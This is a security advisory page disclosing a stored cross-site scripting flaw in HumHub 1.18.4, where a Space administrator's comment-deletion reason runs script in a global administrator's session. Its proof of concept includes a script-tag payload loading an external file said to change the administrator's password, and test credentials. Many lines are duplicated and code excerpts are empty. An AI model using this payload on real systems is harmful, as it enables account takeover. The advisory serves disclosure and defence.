HumHub 1.18.4 - Stored XSS in comment-deletion notifications through unescaped administrator reason

7,2

High

Detected by

Fluid Attacks AI SAST Scanner

Disclosed by

Miguel Gómez

Summary

Full name

HumHub 1.18.4 - Stored XSS in comment-deletion notifications through unescaped administrator reason

Code name

State

Public

Release date

Affected product

HumHub

Vendor

HumHub

Vulnerability name

Stored cross-site scripting (XSS)

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:N/SC:L/SI:L/SA:N

CVSS v4.0 base score

7.2

Exploit available

Yes

Description

HumHub 1.18.4 contains a stored cross-site scripting vulnerability in the comment-deletion notification flow. A Space administrator can delete another user's comment, choose to notify the original author, and place HTML/JavaScript in the deletion reason.

The reason is stored in the notification payload and later rendered as trusted HTML in the recipient's notification dropdown. If the recipient is a global administrator, the injected script executes in that administrator's authenticated HumHub browser session and can perform same-origin administrative actions available to the victim account.

The issue crosses an intended privilege boundary. A Space administrator can administer content inside a Space, but should not be able to execute JavaScript in a global administrator's session or trigger global administrative account changes.

Vulnerability

Root Cause

  1. Space administrators can reach the comment deletion notification flow

    CommentController::actionDelete($id) requires a valid POST request and checks canDelete() on the target comment:

    
    
    
    
    
    
    
    

    For comments in a Space, a Space administrator can delete another user's comment without being a global administrator.

  2. The deletion reason is accepted as a plain string

    AdminDeleteCommentForm only requires a message when notification is enabled and validates it as a generic string:

    
    
    
    
    
    
    
    

    There is no HTML encoding, tag removal, or allowlist sanitizer at input validation time.

  3. The raw reason is stored in the notification payload

    When notification is enabled, the controller copies the form message directly into the payload:

    
    
    
    
    
    
    
    
  4. The notification interpolates reason without output encoding

    CommentDeleted::html() encodes the originator display name, but not commentText or reason:

    
    
    
    
    
    
    
    

    The attacker-controlled sink is reason.

  5. The notification layer renders the HTML response as trusted markup

    The default web notification view and layout print the notification body as HTML:

    <?= $html
    <?= $html
    <?= $html
    <?= $html
    <?= $content
    <?= $content
    <?= $content
    <?= $content

    ListController::actionIndex() then returns the rendered HTML in JSON:

    The client inserts that HTML into the notification list:

    this.$entryList.append(response.output);
    this.$entryList.append(response.output);
    this.$entryList.append(response.output);
    this.$entryList.append(response.output);
  6. The default CSP does not prevent the demonstrated external script payload

    HumHub's default CSP includes:

    script-src {{ nonce }} 'self' https://* http://* * 'unsafe-inline' 'report-sample'
    script-src {{ nonce }} 'self' https://* http://* * 'unsafe-inline' 'report-sample'
    script-src {{ nonce }} 'self' https://* http://* * 'unsafe-inline' 'report-sample'
    script-src {{ nonce }} 'self' https://* http://* * 'unsafe-inline' 'report-sample'

    Inline scripts without a valid nonce may be blocked, but externally hosted HTTP/HTTPS scripts are permitted by the configured script-src. The supplied PoC uses an external script element.

Confirmed source-to-sink path

  1. Source: AdminDeleteCommentForm[message] submitted by a Space administrator.

  2. Form validation: AdminDeleteCommentForm::rules() treats the value as a plain string.

  3. Controller: CommentController::actionDelete() stores the value as payload field reason.

  4. Notification model: CommentDeleted::html() interpolates reason into the notification HTML.

  5. Server render: notification views emit the generated HTML without escaping.

  6. JSON transport: ListController::actionIndex() returns the generated HTML in response.output.

  7. DOM sink: humhub.notification.js inserts response.output using jQuery .append().

  8. Execution: the browser parses the injected external script tag in the victim's authenticated HumHub origin.

Impact

An authenticated Space administrator can persist JavaScript in a deletion notification sent to another user. If the victim opens the notification dropdown, the script executes in the victim's session.

Potential impact includes:

  • Same-origin JavaScript execution in the victim's HumHub session.

  • Unauthorized actions through authenticated requests available to the victim account.

  • Account takeover or administrative changes if the victim is a global administrator.

  • Exposure of data visible to the victim's authenticated HumHub privileges.

The exploit requires a Space administrator account and victim interaction with the notification UI. Those requirements reduce exploitability, but they do not remove the security impact because Space administrators are not intended to control global administrator browser execution.

PoC

Preconditions

  • HumHub 1.18.4-pl1 running locally at http://localhost:8081.

  • Global administrator account:

    admin / admin
    admin / admin
    admin / admin
    admin / admin
  • Attacker account:

    spaceadmin / spaceadmin
    spaceadmin / spaceadmin
    spaceadmin / spaceadmin
    spaceadmin / spaceadmin
  • spaceadmin is a Space administrator in the test Space, but is not in the global Administrator group.

  • The global administrator authored a comment in the same Space.

  • A local JavaScript server is available at http://127.0.0.1:8090.

Step 1 - Create the attacker account and Space

  1. Log in as admin.

  2. Create a user named spaceadmin with password spaceadmin.

  3. Do not add spaceadmin to the global Administrator group.

  4. Create a Space, for example:

    XSS PoC Space
    XSS PoC Space
    XSS PoC Space
    XSS PoC Space
  5. Add spaceadmin to the Space.

  6. Assign spaceadmin the Space administrator role.

Step 2 - Create the victim comment

  1. Log in as admin.

  2. Open the test Space.

  3. Create a post.

  4. Add a comment as admin, for example:

    Global administrator comment to be deleted during the PoC
    Global administrator comment to be deleted during the PoC
    Global administrator comment to be deleted during the PoC
    Global administrator comment to be deleted during the PoC

The original comment author must be the victim who will receive the deletion notification.

Step 3 - Host the external JavaScript

Create poc.js with JavaScript that performs a visible same-origin action in the administrator session. The submission evidence used a PoC that loads the global administrator edit form, extracts the CSRF token, and changes the administrator password to:

AdminPoC-ChangeMe-2026
AdminPoC-ChangeMe-2026
AdminPoC-ChangeMe-2026
AdminPoC-ChangeMe-2026

Serve the file:

python3 -m http.server 8090 --bind 127
python3 -m http.server 8090 --bind 127
python3 -m http.server 8090 --bind 127
python3 -m http.server 8090 --bind 127

Step 4 - Store the XSS payload

  1. Log in as spaceadmin.

  2. Open the test Space and locate the comment created by admin.

  3. Delete the comment.

  4. Enable notification to the comment author.

  5. Enter the deletion reason:

    <script src="http://127.0.0.1:8090/poc.js?v=2"></script>
    <script src="http://127.0.0.1:8090/poc.js?v=2"></script>
    <script src="http://127.0.0.1:8090/poc.js?v=2"></script>
    <script src="http://127.0.0.1:8090/poc.js?v=2"></script>
  6. Confirm deletion.

Step 5 - Trigger and verify

  1. Log in as admin.

  2. Click the notification bell.

  3. The notification dropdown renders the stored deletion reason.

  4. The browser loads poc.js from the injected script tag.

  5. The supplied evidence shows the PoC marker:

    PoC executed: global-admin password changed
    PoC executed: global-admin password changed
    PoC executed: global-admin password changed
    PoC executed: global-admin password changed
  6. Log out and authenticate as:

    Username: admin
    Password: AdminPoC-ChangeMe-2026
    
    
    Username: admin
    Password: AdminPoC-ChangeMe-2026
    
    
    Username: admin
    Password: AdminPoC-ChangeMe-2026
    
    
    Username: admin
    Password: AdminPoC-ChangeMe-2026
    
    

Successful authentication demonstrates that the Space administrator caused a same-origin administrative action in the global administrator's browser session.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-18430 to refer to this issue from now on.

System Information

  • Humhub

  • Version 1.18.4

  • Operating System: Any

References

Mitigation

An updated version of HumHub is available on the vendor page.

Credits

The vulnerability was discovered by Miguel Gomez from Fluid Attacks' Offensive Team using the AI SAST Scanner.

Timeline

Vulnerability discovered

Vendor contacted

Vendor replied

Vendor confirmed

Vulnerability patched

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

logo-fluidattacks-white-png

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Lee un resumen de Fluid Attacks

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

logo-fluidattacks-white-png

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

logo-fluidattacks-white-png

Las soluciones de Fluid Attacks permiten a las organizaciones identificar, priorizar y remediar vulnerabilidades en su software a lo largo del SDLC. Con el apoyo de la IA, herramientas automatizadas y pentesters, Fluid Attacks acelera la mitigación de la exposición al riesgo de las empresas y fortalece su postura de ciberseguridad.

Suscríbete a nuestro boletín

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.

Mantente al día sobre nuestros próximos eventos y los últimos blog posts, advisories y otros recursos interesantes.